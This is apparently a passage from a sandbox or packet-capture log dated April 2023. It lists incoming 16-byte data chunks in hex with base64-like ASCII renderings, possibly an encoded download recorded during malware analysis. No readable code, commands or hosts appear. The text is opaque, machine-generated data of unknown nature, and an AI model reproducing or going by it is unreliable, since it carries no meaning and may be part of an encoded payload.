Data Ascii: YfpiwzOvstsjs68UkTsPeA1Uy8mNzzW/nConuP9I28zYsI+bS8k+7PvRnlZY8l3E4xBF7okVU29w6VLEFY7khT7tYODzqD1Ir6uSD8ftWi5JwllxBVoZYi5rSGHCwqL9/6++hFos84ItUdzEDJw399Ef4ibaBrP0/5B6CnvAsXZ1wYrY9LMJIi91zmyGWUTVI7sHhPNKzTGGkb1kztdjjMNcaxbcmunbpFuntBuLVtll+hcyHVTPhSTTkfzo52D
2023-04-20 23:03:01 UTC	4980	IN	Data Raw: 64 38 64 31 35 69 44 51 56 76 6c 6d 31 72 51 6e 34 52 46 2b 51 44 6f 6a 6b 61 4b 43 65 44 72 78 77 79 61 68 68 46 70 43 4d 41 56 33 30 49 70 42 63 35 62 33 43 74 54 42 6f 35 51 6b 53 74 51 54 49 63 63 67 52 5a 75 44 6f 52 61 77 7a 41 49 6c 42 30 76 68 46 69 54 48 70 55 43 65 76 6f 79 52 6b 59 78 53 68 62 64 72 35 52 4e 57 33 59 38 51 31 69 61 6b 64 2b 58 4d 73 36 4a 38 4d 4c 61 56 67 34 61 55 62 34 4f 68 37 33 43 32 52 77 48 57 52 47 36 55 4d 65 2b 69 35 4d 66 52 67 36 39 73 74 6b 56 43 64 6b 4a 65 78 47 66 44 31 70 4a 64 68 2f 66 41 52 4d 44 64 56 2f 52 51 67 4d 41 50 6f 59 53 32 44 49 48 54 6e 56 5a 6b 67 4d 35 4e 71 31 38 39 72 6e 42 70 4d 2f 6a 4f 4a 6a 6a 7a 4b 63 71 36 64 66 76 2f 6a 59 6f 38 49 58 74 4b 61 6e 5a 6f 76 34 31 59 6f 6d 6d 33 71 7a 30 Data Ascii: d8d15iDQVvlm1rQn4RF+QDojkaKCeDrxwyahhFpCMAV30IpBc5b3CtTBo5QkStQTIccgRZuDoRawzAIlB0vhFiTHpUCevoyRkYxShbdr5RNW3Y8Q1iakd+XMs6J8MLaVg4aUb4Oh73C2RwHWRG6UMe+i5MfRg69stkVCdkJexGfD1pJdh/fARMDdV/RQgMAPoYS2DIHTnVZkgM5Nq189rnBpM/jOJjjzKcq6dfv/jYo8IXtKanZov41Yomm3qz0
2023-04-20 23:03:01 UTC	4996	IN	Data Raw: 2b 2b 62 41 7a 38 47 4a 6a 77 79 53 7a 77 32 47 47 45 79 65 48 59 2f 65 33 45 2f 5a 76 59 38 4d 6c 73 6f 45 68 78 56 46 6d 78 53 43 2b 38 56 47 30 49 53 47 42 5a 66 47 43 49 63 52 61 5a 63 55 67 74 50 46 52 74 53 45 68 68 57 58 77 5a 38 73 76 75 6f 34 76 79 31 38 62 75 46 2f 4b 77 47 75 50 47 6d 76 4c 4c 37 75 4e 4c 38 70 56 47 37 74 66 79 38 70 75 6a 78 75 49 4b 63 78 63 59 7a 57 72 72 2f 74 45 50 44 73 38 6a 32 65 31 44 7a 76 4c 58 57 4e 68 71 36 2f 33 57 37 43 6f 4f 4a 78 76 35 44 41 44 34 47 64 46 39 37 30 48 30 32 2b 48 48 4a 43 67 51 4d 4f 73 6b 4f 64 30 55 2b 55 54 69 38 4e 38 42 41 4d 45 74 31 32 46 74 49 42 77 35 74 52 71 46 42 52 41 2f 34 65 41 68 7a 54 63 6e 37 4f 41 61 2b 54 54 61 68 51 55 51 7a 4f 47 67 49 63 30 33 79 62 5a 36 68 71 4d 52 4a Data Ascii: ++bAz8GJjwySzw2GGEyeHY/e3E/ZvY8MlsoEhxVFmxSC+8VG0ISGBZfGCIcRaZcUgtPFRtSEhhWXwZ8svuo4vy18buF/KwGuPGmvLL7uNL8pVG7tfy8pujxuIKcxcYzWrr/tEPDs8j2e1DzvLXWNhq6/3W7CoOJxv5DAD4GdF970H02+HHJCgQMOskOd0U+UTi8N8BAMEt12FtIBw5tRqFBRA/4eAhzTcn7OAa+TTahQUQzOGgIc03ybZ6hqMRJ
2023-04-20 23:03:01 UTC	5012	IN	Data Raw: 32 61 37 6b 58 37 6e 6c 62 33 4d 63 70 79 57 4d 63 47 54 36 57 2b 76 32 2b 41 2b 78 38 64 53 2b 39 75 59 70 63 4b 44 49 61 4b 4e 31 4e 42 56 62 49 7a 4e 39 35 6e 78 62 39 7a 4d 49 73 69 44 6a 55 51 68 59 74 57 43 5a 63 62 4a 67 54 56 57 61 46 44 38 67 53 5a 75 69 38 68 2f 4a 33 63 39 30 34 6e 56 56 6d 71 59 55 69 56 66 44 78 70 51 44 41 65 5a 68 57 49 6c 7a 76 33 7a 45 2b 6d 79 66 50 56 4a 79 73 54 4e 56 4f 66 34 63 66 59 45 77 34 71 49 67 67 54 45 73 49 53 64 76 66 79 47 71 72 35 51 59 32 4f 4e 5a 79 77 69 4f 34 41 4e 61 69 4a 53 4f 42 5a 58 65 57 4a 63 70 52 5a 55 4d 32 74 58 64 47 74 61 63 32 68 32 66 2f 50 68 78 70 37 74 46 2b 6e 6f 68 64 37 6f 69 4e 6e 72 7a 4a 54 44 69 55 65 2f 48 61 59 68 34 5a 57 75 38 4b 6a 35 55 2f 79 45 36 2b 62 42 75 4c 71 41 Data Ascii: 2a7kX7nlb3McpyWMcGT6W+v2+A+x8dS+9uYpcKDIaKN1NBVbIzN95nxb9zMIsiDjUQhYtWCZcbJgTVWaFD8gSZui8h/J3c904nVVmqYUiVfDxpQDAeZhWIlzv3zE+myfPVJysTNVOf4cfYEw4qIggTEsISdvfyGqr5QY2ONZywiO4ANaiJSOBZXeWJcpRZUM2tXdGtac2h2f/Phxp7tF+nohd7oiNnrzJTDiUe/HaYh4ZWu8Kj5U/yE6+bBuLqA
2023-04-20 23:03:01 UTC	5028	IN	Data Raw: 4d 48 42 56 70 47 4a 57 61 4c 38 58 45 76 59 7a 34 62 63 68 36 6d 67 42 44 37 6c 45 5a 6a 44 37 65 53 67 4b 6a 52 4e 48 68 51 4c 77 32 4b 56 55 6b 6f 36 55 47 37 43 6d 46 73 45 54 57 34 45 32 70 50 58 4c 57 4d 4b 6d 70 41 76 68 35 76 44 2f 38 5a 31 50 7a 48 59 76 4b 62 4a 59 58 48 4b 4a 54 78 37 6f 59 38 6d 64 54 78 70 36 5a 78 31 49 4b 44 52 36 36 57 38 50 47 5a 6f 6b 44 4c 35 64 74 2b 72 61 58 65 6e 2f 76 54 6a 75 4b 33 32 43 50 41 37 38 4b 66 2f 79 35 44 76 70 77 62 39 65 72 72 49 6b 38 78 6b 32 70 57 43 36 39 37 55 32 34 4c 56 53 4f 65 54 30 63 4c 73 31 4c 76 56 67 74 71 5a 56 64 76 54 30 37 6c 66 78 75 31 47 65 46 45 7a 71 65 5a 2f 43 57 45 36 37 69 64 4d 63 6c 73 38 5a 31 6e 68 63 67 6f 6d 43 61 70 42 37 77 59 57 4d 32 6f 71 66 74 4e 62 6b 70 54 4c Data Ascii: MHBVpGJWaL8XEvYz4bch6mgBD7lEZjD7eSgKjRNHhQLw2KVUko6UG7CmFsETW4E2pPXLWMKmpAvh5vD/8Z1PzHYvKbJYXHKJTx7oY8mdTxp6Zx1IKDR66W8PGZokDL5dt+raXen/vTjuK32CPA78Kf/y5Dvpwb9errIk8xk2pWC697U24LVSOeT0cLs1LvVgtqZVdvT07lfxu1GeFEzqeZ/CWE67idMcls8Z1nhcgomCapB7wYWM2oqftNbkpTL
2023-04-20 23:03:01 UTC	5044	IN	Data Raw: 4c 2f 39 55 62 6b 47 73 43 79 30 47 37 76 6d 75 76 47 30 65 50 48 2f 2f 53 47 34 68 72 53 38 74 57 75 31 4f 48 45 66 65 6d 59 2f 63 54 4f 50 64 68 68 2f 63 6e 34 31 63 41 68 78 37 33 38 32 50 38 45 33 44 33 4d 34 66 6f 4a 34 30 47 31 58 53 2b 42 46 36 51 47 2b 44 4e 42 49 35 30 41 64 51 51 70 4c 4e 30 2f 67 52 5a 6b 42 44 67 78 51 53 46 64 41 62 55 45 4b 51 47 79 45 6d 34 35 43 79 2f 58 44 69 34 4f 4d 69 6d 61 50 6b 59 42 38 68 4b 75 4b 77 73 37 31 78 6c 75 47 7a 49 73 32 69 72 47 47 54 6b 65 5a 54 55 41 4a 5a 77 55 5a 51 41 35 49 74 45 30 6a 51 30 35 43 43 55 78 41 43 42 63 45 43 55 45 2b 53 42 52 4e 41 30 66 4b 51 6c 31 49 35 41 38 56 64 30 31 42 36 6b 33 51 53 42 64 48 61 6b 4d 74 53 42 51 49 51 77 47 74 52 52 70 49 51 45 6a 6e 53 58 55 74 4d 69 64 4c Data Ascii: L/9UbkGsCy0G7vmuvG0ePH//SG4hrS8tWu1OHEfemY/cTOPdhh/cn41cAhx7382P8E3D3M4foJ40G1XS+BF6QG+DNBI50AdQQpLN0/gRZkBDgxQSFdAbUEKQGyEm45Cy/XDi4OMimaPkYB8hKuKws71xluGzIs2irGGTkeZTUAJZwUZQA5ItE0jQ05CCUxACBcECUE+SBRNA0fKQl1I5A8Vd01B6k3QSBdHakMtSBQIQwGtRRpIQEjnSXUtMidL
2023-04-20 23:03:01 UTC	5060	IN	Data Raw: 55 45 31 57 6b 51 4b 62 55 45 5a 42 77 64 4c 30 77 31 70 42 6e 31 44 49 45 77 55 43 75 31 42 32 51 61 50 55 30 73 55 77 52 77 31 57 6b 68 56 62 67 56 56 57 48 45 65 44 31 4d 62 46 45 45 64 52 56 6b 34 56 58 77 54 42 56 6a 78 48 73 41 63 31 46 73 4f 55 73 6f 55 64 78 74 44 58 53 67 41 44 6c 44 41 47 54 52 61 72 6c 5a 61 45 50 63 61 77 31 6b 4b 46 36 35 56 45 37 39 58 2b 45 33 31 2b 62 4b 45 75 57 44 36 75 62 51 4e 39 73 4f 37 74 2f 6b 74 38 4c 6d 33 31 4c 6a 67 2f 72 6d 31 54 66 4f 64 59 47 6b 69 59 79 34 48 61 4e 70 6d 44 69 56 6e 61 69 4d 73 72 57 41 35 4a 31 4d 76 64 32 6b 4b 59 6d 34 68 4a 32 73 7a 4c 50 4a 4f 4a 67 6e 63 41 44 68 48 56 55 68 42 44 58 68 46 66 41 48 55 65 46 59 49 6e 41 55 6f 52 72 56 4e 51 51 76 6f 52 5a 77 47 58 39 4a 72 6b 4e 47 64 Data Ascii: UE1WkQKbUEZBwdL0w1pBn1DIEwUCu1B2QaPU0sUwRw1WkhVbgVVWHEeD1MbFEEdRVk4VXwTBVjxHsAc1FsOUsoUdxtDXSgADlDAGTRarlZaEPcaw1kKF65VE79X+E31+bKEuWD6ubQN9sO7t/kt8Lm31Ljg/rm1TfOdYGkiYy4HaNpmDiVnaiMsrWA5J1Mvd2kKYm4hJ2szLPJOJgncADhHVUhBDXhFfAHUeFYInAUoRrVNQQvoRZwGX9JrkNGd
2023-04-20 23:03:01 UTC	5076	IN	Data Raw: 56 34 49 51 45 6b 33 51 64 31 42 43 6b 6f 48 54 6f 42 46 57 51 41 4f 44 4b 42 49 39 30 46 39 51 51 70 45 43 53 47 65 4b 6b 64 75 41 47 42 2b 49 6d 6b 72 77 79 6f 6b 4a 4b 6b 68 50 69 6f 6e 62 38 42 69 33 69 5a 5a 4b 79 4d 71 52 43 50 76 46 6e 67 63 63 56 6c 47 55 42 67 52 66 78 6b 46 48 51 49 54 33 78 64 6f 47 56 46 59 56 6c 54 6f 45 4c 38 64 46 52 30 53 48 58 47 34 70 72 4d 50 39 59 39 4d 74 72 6f 52 74 70 75 7a 44 4c 79 52 75 4e 61 7a 72 2f 4f 34 2b 76 61 2b 6f 62 62 37 73 73 79 30 4f 47 46 2f 61 7a 59 75 4d 53 4a 50 59 79 68 75 6b 6d 74 6c 59 47 68 68 62 32 72 47 4c 6a 45 69 54 32 64 34 62 67 4a 71 52 57 39 7a 36 2b 54 6c 72 61 54 61 71 48 54 6f 6f 2b 54 4a 34 56 37 75 77 2b 71 45 34 66 32 68 36 71 6d 6b 37 53 50 6c 75 65 44 75 37 59 46 70 31 6d 4d 66 Data Ascii: V4IQEk3Qd1BCkoHToBFWQAODKBI90F9QQpECSGeKkduAGB+ImkrwyokJKkhPionb8Bi3iZZKyMqRCPvFngccVlGUBgRfxkFHQIT3xdoGVFYVlToEL8dFR0SHXG4prMP9Y9MtroRtpuzDLyRuNazr/O4+va+obb7ssy0OGF/azYuMSJPYyhukmtlYGhhb2rGLjEiT2d4bgJqRW9z6+TlraTaqHToo+TJ4V7uw+qE4f2h6qmk7SPlueDu7YFp1mMf
2023-04-20 23:03:01 UTC	5092	IN	Data Raw: 78 70 74 34 42 35 52 52 78 73 6a 58 54 30 51 53 56 62 6a 58 6d 66 4f 57 68 5a 4f 55 42 63 61 67 31 31 65 70 44 70 31 38 48 78 6b 4f 2b 6b 30 66 58 4b 6b 4f 4e 42 2f 72 73 51 71 63 64 42 34 42 44 71 70 4d 44 31 7a 68 44 78 41 65 7a 47 73 68 65 70 66 34 34 75 67 35 71 75 53 37 4f 75 6d 6e 2b 41 78 72 43 58 71 2f 2b 66 72 70 58 61 71 34 75 32 37 70 2f 2f 68 6a 4c 42 34 39 36 4c 36 39 72 6b 72 74 2b 2f 78 39 72 6f 69 2b 62 79 77 36 50 62 79 2f 75 61 35 79 37 63 76 38 48 61 37 73 76 7a 74 77 34 79 51 77 34 37 48 79 47 72 48 6e 6f 45 33 79 2f 4d 36 7a 63 42 4a 68 70 4f 50 78 38 68 71 78 6c 34 33 78 38 72 6a 6a 4a 4e 66 4e 78 67 39 45 45 6c 57 4e 49 35 51 48 6e 6c 56 44 52 4d 54 58 38 63 5a 66 52 42 70 67 42 52 63 73 42 38 5a 56 51 30 54 61 2b 61 2f 70 4f 57 70 Data Ascii: xpt4B5RRxsjXT0QSVbjXmfOWhZOUBcag11epDp18HxkO+k0fXKkONB/rsQqcdB4BDqpMD1zhDxAezGshepf44ug5quS7Oumn+AxrCXq/+frpXaq4u27p//hjLB496L69rkrt+/x9roi+byw6Pby/ua5y7cv8Ha7svztw4yQw47HyGrHnoE3y/M6zcBJhpOPx8hqxl43x8rjjJNfNxg9EElWNI5QHnlVDRMTX8cZfRBpgBRcsB8ZVQ0Ta+a/pOWp
2023-04-20 23:03:01 UTC	5108	IN	Data Raw: 4c 47 6a 6e 45 50 61 69 75 45 2b 42 79 43 36 74 4d 39 4b 31 4f 6f 69 64 6b 7a 67 44 48 76 67 76 74 57 50 74 65 76 68 30 49 6b 68 47 56 67 53 72 41 55 47 76 56 56 5a 37 78 56 70 64 68 46 62 52 4d 34 63 45 37 7a 56 42 4d 38 52 53 62 47 4b 70 6c 67 2b 56 45 70 69 39 38 32 6a 65 6a 6f 43 7a 43 4d 51 79 6d 57 64 72 6c 54 6f 68 31 62 4e 45 30 70 72 73 4d 37 6e 4e 34 32 78 50 71 6e 54 58 41 55 78 32 58 49 4d 33 59 65 72 38 41 64 64 45 43 74 37 6c 2b 69 68 34 4b 6f 55 76 62 34 46 37 65 46 56 4c 31 4e 4d 4b 32 46 2b 39 43 59 70 68 75 38 2b 39 53 74 7a 68 4c 2b 54 62 41 76 78 62 31 65 6a 69 2f 4a 76 48 35 53 4b 73 31 4a 75 6c 44 7a 50 42 68 73 44 52 70 78 42 65 73 73 44 36 2f 5a 68 79 6e 56 4d 76 30 64 76 73 79 61 38 6f 6f 6f 62 59 51 2f 57 6d 47 43 6f 4e 55 61 4e Data Ascii: LGjnEPaiuE+ByC6tM9K1OoidkzgDHvgvtWPtevh0IkhGVgSrAUGvVVZ7xVpdhFbRM4cE7zVBM8RSbGKplg+VEpi982jejoCzCMQymWdrlToh1bNE0prsM7nN42xPqnTXAUx2XIM3Yer8AddECt7l+ih4KoUvb4F7eFVL1NMK2F+9CYphu8+9StzhL+TbAvxb1eji/JvH5SKs1JulDzPBhsDRpxBessD6/ZhynVMv0dvsya8ooobYQ/WmGCoNUaN
2023-04-20 23:03:01 UTC	5124	IN	Data Raw: 55 48 58 6a 6c 48 5a 79 77 58 63 70 42 4e 49 6c 4d 36 74 64 77 6a 78 31 2b 6a 52 71 52 6c 43 6e 73 53 48 54 51 43 61 79 4a 50 50 30 74 47 71 56 45 7a 65 78 36 6c 41 52 34 31 79 53 4e 2f 53 37 56 52 41 69 39 53 50 33 41 62 59 38 4d 6b 43 2f 57 59 47 48 51 49 62 6a 6c 55 37 67 68 41 2b 42 33 2f 49 6b 68 30 46 56 41 33 53 79 32 2f 56 57 6e 4d 77 47 46 63 76 2b 62 4d 2b 41 6d 59 64 34 7a 70 75 6c 72 70 7a 49 35 6d 45 32 47 68 54 72 54 55 32 50 33 4c 71 33 30 56 72 49 58 56 6f 56 2b 35 31 54 77 49 49 6d 67 41 75 52 48 55 59 4a 35 34 50 52 51 67 43 56 5a 35 44 48 78 74 67 6e 67 59 43 43 30 59 65 37 50 56 61 59 34 55 2f 55 32 38 62 59 4a 34 47 41 67 74 47 48 69 36 46 4f 78 41 69 48 79 43 5a 43 77 46 4d 52 6d 4e 49 52 35 34 4e 63 68 74 6a 33 6b 55 4c 41 51 45 34 Data Ascii: UHXjlHZywXcpBNIlM6tdwjx1+jRqRlCnsSHTQCayJPP0tGqVEzex6lAR41ySN/S7VRAi9SP3AbY8MkC/WYGHQIbjlU7ghA+B3/Ikh0FVA3Sy2/VWnMwGFcv+bM+AmYd4zpulrpzI5mE2GhTrTU2P3Lq30VrIXVoV+51TwIImgAuRHUYJ54PRQgCVZ5DHxtgngYCC0Ye7PVaY4U/U28bYJ4GAgtGHi6FOxAiHyCZCwFMRmNIR54Nchtj3kULAQE4
2023-04-20 23:03:01 UTC	5140	IN	Data Raw: 2b 69 4b 56 59 6f 54 51 79 6a 33 7a 75 6c 7a 66 51 61 44 48 53 50 72 76 34 55 70 78 62 4b 5a 70 36 35 2f 67 31 77 56 55 78 6d 6e 44 67 6e 79 47 68 61 6e 58 53 45 2b 58 56 64 49 77 68 63 59 74 39 34 4c 67 46 34 47 39 73 33 68 48 6e 6e 7a 62 56 57 6d 6a 76 64 71 48 74 58 4c 38 68 43 38 52 75 34 5a 6b 49 32 56 31 77 33 51 36 31 37 57 50 69 4f 7a 47 4b 65 65 61 30 4e 72 74 79 57 2f 6f 59 6b 63 4a 6b 69 52 30 65 6b 68 76 4d 74 41 58 6d 65 47 61 70 48 34 72 49 64 59 59 55 48 62 31 61 34 70 68 66 39 6d 68 48 38 42 2b 41 35 69 2b 57 48 78 36 34 51 63 4b 30 48 66 6c 75 64 72 73 63 67 4e 56 79 6e 43 4a 78 6f 31 54 45 49 61 70 5a 2b 4f 39 46 75 51 67 49 32 67 50 59 71 52 62 31 52 46 61 32 55 39 76 57 45 71 77 71 5a 39 73 69 74 36 77 50 2b 55 59 51 77 54 71 70 75 48 Data Ascii: +iKVYoTQyj3zulzfQaDHSPrv4UpxbKZp65/g1wVUxmnDgnyGhanXSE+XVdIwhcYt94LgF4G9s3hHnnzbVWmjvdqHtXL8hC8Ru4ZkI2V1w3Q617WPiOzGKeea0NrtyW/oYkcJkiR0ekhvMtAXmeGapH4rIdYYUHb1a4phf9mhH8B+A5i+WHx64QcK0HfludrscgNVynCJxo1TEIapZ+O9FuQgI2gPYqRb1RFa2U9vWEqwqZ9sit6wP+UYQwTqpuH
2023-04-20 23:03:01 UTC	5156	IN	Data Raw: 41 30 37 55 37 31 30 64 36 36 78 36 66 79 6e 47 2b 4f 78 6e 4b 53 64 53 58 4d 74 35 41 54 38 59 4f 6b 44 32 2f 64 65 6e 5a 52 4a 45 55 52 63 41 2f 67 4a 45 7a 73 45 4d 36 6e 58 7a 67 33 6e 47 38 42 47 33 6c 44 5a 47 63 4e 2b 4e 41 44 61 5a 46 33 75 6c 49 70 67 6c 48 7a 44 6d 37 79 41 2f 69 63 51 53 73 51 74 6e 45 53 49 45 39 64 64 30 30 71 35 73 4d 36 58 5a 36 31 54 4b 6e 6d 51 4c 73 55 77 61 6b 4a 39 54 64 65 70 38 41 59 64 49 79 6b 49 51 6a 77 55 67 54 73 31 4c 67 37 47 65 53 42 46 2b 6c 52 73 6a 5a 55 72 38 73 5a 63 38 73 6b 35 68 66 2b 57 51 56 76 6e 6a 56 2b 31 43 2f 4b 6e 48 4d 4b 70 4c 2f 48 50 42 31 66 39 55 62 33 49 38 6d 78 56 41 66 72 6c 6e 4a 2f 33 2b 63 44 6d 50 63 4f 4b 6d 37 5a 74 68 4c 46 5a 42 66 77 73 56 6f 68 68 55 61 73 54 4c 6b 32 58 Data Ascii: A07U710d66x6fynG+OxnKSdSXMt5AT8YOkD2/denZRJEURcA/gJEzsEM6nXzg3nG8BG3lDZGcN+NADaZF3ulIpglHzDm7yA/icQSsQtnESIE9dd00q5sM6XZ61TKnmQLsUwakJ9Tdep8AYdIykIQjwUgTs1Lg7GeSBF+lRsjZUr8sZc8sk5hf+WQVvnjV+1C/KnHMKpL/HPB1f9Ub3I8mxVAfrlnJ/3+cDmPcOKm7ZthLFZBfwsVohhUasTLk2X
2023-04-20 23:03:01 UTC	5172	IN	Data Raw: 4d 78 5a 73 67 34 79 56 41 36 51 57 62 35 47 32 6c 4f 51 53 6f 59 39 53 59 50 4d 56 4c 55 4e 64 68 6b 46 54 36 43 59 65 59 44 39 6c 6f 4b 59 31 65 6d 50 31 55 76 6a 31 58 33 42 4f 38 38 68 6e 30 62 69 47 63 66 76 33 75 56 72 4d 4c 52 6f 45 6d 75 70 38 34 31 6d 68 2f 75 6c 66 4e 32 6d 43 76 47 32 37 4b 47 64 2b 4f 4a 38 31 53 43 36 31 65 32 63 46 67 69 48 39 36 30 7a 6d 6d 6a 79 6e 61 58 51 47 67 61 4d 7a 32 48 35 34 44 66 64 59 76 76 5a 34 74 30 55 51 73 68 6c 6a 32 76 33 71 58 44 54 36 45 65 74 48 41 57 71 67 58 51 75 42 6a 6b 70 73 31 30 6c 30 2b 6d 33 4c 75 77 58 61 6b 45 47 36 48 42 70 75 56 4e 73 6c 4f 61 4d 55 70 70 6f 55 54 79 6c 38 36 70 33 6d 6b 77 57 69 43 46 58 37 4e 4c 4c 57 4a 4d 73 46 6a 50 62 46 4b 7a 63 68 6c 69 51 5a 54 78 58 4b 44 76 68 Data Ascii: MxZsg4yVA6QWb5G2lOQSoY9SYPMVLUNdhkFT6CYeYD9loKY1emP1Uvj1X3BO88hn0biGcfv3uVrMLRoEmup841mh/ulfN2mCvG27KGd+OJ81SC61e2cFgiH960zmmjynaXQGgaMz2H54DfdYvvZ4t0UQshlj2v3qXDT6EetHAWqgXQuBjkps10l0+m3LuwXakEG6HBpuVNslOaMUppoUTyl86p3mkwWiCFX7NLLWJMsFjPbFKzchliQZTxXKDvh
2023-04-20 23:03:01 UTC	5188	IN	Data Raw: 6d 75 66 70 47 73 77 38 6e 6c 6d 66 33 6b 41 48 44 52 6d 66 55 4a 37 6a 33 64 64 59 4f 43 34 5a 71 39 37 6b 32 34 47 56 6e 38 51 53 46 78 58 4b 6e 46 51 53 78 52 73 57 2b 46 64 4d 41 65 4e 30 55 69 4d 56 70 6f 67 51 56 6c 31 48 55 77 32 65 55 4d 53 4f 53 59 2b 53 33 48 50 4e 46 41 75 73 55 68 38 64 68 68 77 49 31 67 32 2f 33 6e 43 33 69 5a 32 57 69 44 70 70 35 37 30 65 51 6f 45 66 68 58 52 47 38 4e 2b 4c 4a 59 59 68 7a 51 75 64 2f 34 61 52 77 6c 51 64 43 35 41 2f 68 6b 54 57 6a 51 64 73 4b 6e 77 38 37 6e 67 72 75 32 48 2f 71 66 77 33 66 50 39 7a 62 66 70 70 37 4f 2b 39 35 35 64 70 2f 35 51 70 39 32 54 6e 64 77 68 65 43 46 6c 53 48 59 59 76 48 59 6f 51 58 48 72 56 55 77 49 64 6d 67 6d 39 53 68 52 4b 4b 77 78 50 78 5a 6d 4f 32 49 73 46 51 39 52 48 33 78 47 Data Ascii: mufpGsw8nlmf3kAHDRmfUJ7j3ddYOC4Zq97k24GVn8QSFxXKnFQSxRsW+FdMAeN0UiMVpogQVl1HUw2eUMSOSY+S3HPNFAusUh8dhhwI1g2/3nC3iZ2WiDpp570eQoEfhXRG8N+LJYYhzQud/4aRwlQdC5A/hkTWjQdsKnw87ngru2H/qfw3fP9zbfpp7O+955dp/5Qp92TndwheCFlSHYYvHYoQXHrVUwIdmgm9ShRKKwxPxZmO2IsFQ9RH3xG
2023-04-20 23:03:01 UTC	5204	IN	Data Raw: 51 52 67 58 58 53 6f 4c 51 63 70 46 31 66 70 73 30 6f 70 46 48 33 67 30 41 6f 6b 47 68 33 6a 47 55 41 74 55 66 6d 6a 38 30 6c 6e 57 4a 72 6a 66 6b 63 6e 57 37 4f 70 58 51 63 70 46 70 4f 72 35 77 35 71 56 6e 36 6c 68 77 30 6a 48 46 6c 52 76 66 53 58 71 38 4e 62 48 72 53 61 70 61 4e 59 78 2f 36 5a 35 6b 30 56 35 2f 33 54 37 79 35 55 61 76 4f 54 37 41 63 65 42 55 39 68 58 64 76 68 44 30 59 69 48 54 62 51 72 30 56 72 56 78 57 51 77 51 68 72 56 44 2b 5a 59 6b 68 6d 57 6c 2b 61 53 77 4a 73 77 6d 67 50 63 74 6a 32 79 77 74 50 48 39 61 32 79 43 49 46 2f 4a 61 34 68 51 49 47 31 70 2f 37 78 65 38 4c 64 70 79 79 6a 38 43 33 35 43 31 2b 63 48 71 2b 56 32 31 44 66 6c 71 39 58 69 64 41 50 6e 54 77 54 69 51 4b 4d 4e 65 78 77 79 70 4b 4d 37 37 37 34 4b 71 45 76 68 34 2f Data Ascii: QRgXXSoLQcpF1fps0opFH3g0AokGh3jGUAtUfmj80lnWJrjfkcnW7OpXQcpFpOr5w5qVn6lhw0jHFlRvfSXq8NbHrSapaNYx/6Z5k0V5/3T7y5UavOT7AceBU9hXdvhD0YiHTbQr0VrVxWQwQhrVD+ZYkhmWl+aSwJswmgPctj2ywtPH9a2yCIF/Ja4hQIG1p/7xe8Ldpyyj8C35C1+cHq+V21Dflq9XidAPnTwTiQKMNexwypKM7774KqEvh4/
2023-04-20 23:03:01 UTC	5220	IN	Data Raw: 5a 71 6b 71 63 44 54 69 61 54 64 33 72 4f 75 39 39 64 64 34 4d 6d 5a 4e 4b 6d 77 30 42 6d 6c 54 64 30 32 4f 73 4a 43 53 48 52 63 44 46 45 34 70 55 54 63 4e 38 68 4a 56 6a 32 69 51 30 68 7a 58 41 30 68 4f 6a 56 45 50 44 63 6f 53 53 75 52 66 2b 46 6c 33 79 47 76 44 4a 5a 49 35 6a 47 62 4e 65 73 72 6b 53 2f 68 46 64 39 52 72 36 79 57 43 4f 61 78 6d 2f 58 72 70 4f 36 51 6e 75 71 67 37 74 46 6a 36 63 65 59 6a 75 54 61 6c 64 54 75 34 4a 78 61 6f 4c 37 53 30 2f 59 48 6d 38 37 37 47 70 62 32 34 7a 4b 50 4f 4b 31 73 77 54 48 6b 56 59 69 73 36 55 69 43 46 75 4e 79 69 4a 69 74 4c 4d 62 42 35 4a 57 50 7a 4f 6d 49 67 78 6c 73 50 51 61 48 49 6d 4e 49 62 6d 74 61 41 70 4e 6d 52 77 2b 70 62 48 30 46 31 79 49 6a 53 34 35 71 6d 67 4c 7a 5a 37 63 50 44 70 70 61 38 71 44 55 Data Ascii: ZqkqcDTiaTd3rOu99dd4MmZNKmw0BmlTd02OsJCSHRcDFE4pUTcN8hJVj2iQ0hzXA0hOjVEPDcoSSuRf+Fl3yGvDJZI5jGbNesrkS/hFd9Rr6yWCOaxm/XrpO6Qnuqg7tFj6ceYjuTaldTu4JxaoL7S0/YHm877Gpb24zKPOK1swTHkVYis6UiCFuNyiJitLMbB5JWPzOmIgxlsPQaHImNIbmtaApNmRw+pbH0F1yIjS45qmgLzZ7cPDppa8qDU
2023-04-20 23:03:01 UTC	5236	IN	Data Raw: 4d 77 70 77 38 5a 41 30 42 72 77 67 33 37 45 77 55 66 47 47 41 54 50 71 63 50 47 52 74 41 61 38 49 4e 79 53 45 33 4e 53 70 51 6f 51 4b 56 50 53 73 68 63 6c 6e 77 50 38 6b 68 4e 7a 30 71 55 69 45 4d 6c 54 30 71 32 58 4a 5a 38 44 2f 4d 35 50 4d 41 37 35 66 6b 79 56 44 34 37 78 53 2b 69 2f 58 61 54 4f 54 7a 43 4f 2b 61 35 4d 74 51 2b 4f 38 4d 39 35 77 31 2b 67 4e 72 66 4a 64 53 50 61 74 49 33 33 64 67 73 6e 67 54 75 6e 57 44 61 33 79 76 59 42 72 72 53 4e 39 33 59 4c 73 78 43 2f 70 5a 30 6a 6f 74 37 6e 46 4a 4f 68 65 4f 4a 6a 48 36 59 46 71 72 43 4a 49 36 4c 5a 35 43 6b 33 6f 58 6a 69 59 78 69 79 6c 43 36 7a 7a 6b 7a 4e 74 68 78 37 2f 4d 34 58 6a 51 78 33 79 57 72 74 33 77 5a 4d 7a 62 65 49 65 79 7a 4f 39 34 30 4d 64 55 6c 71 37 64 38 46 46 35 62 75 30 79 43 Data Ascii: Mwpw8ZA0Brwg37EwUfGGATPqcPGRtAa8INySE3NSpQoQKVPSshclnwP8khNz0qUiEMlT0q2XJZ8D/M5PMA75fkyVD47xS+i/XaTOTzCO+a5MtQ+O8M95w1+gNrfJdSPatI33dgsngTunWDa3yvYBrrSN93YLsxC/pZ0jot7nFJOheOJjH6YFqrCJI6LZ5Ck3oXjiYxiylC6zzkzNthx7/M4XjQx3yWrt3wZMzbeIeyzO940MdUlq7d8FF5bu0yC
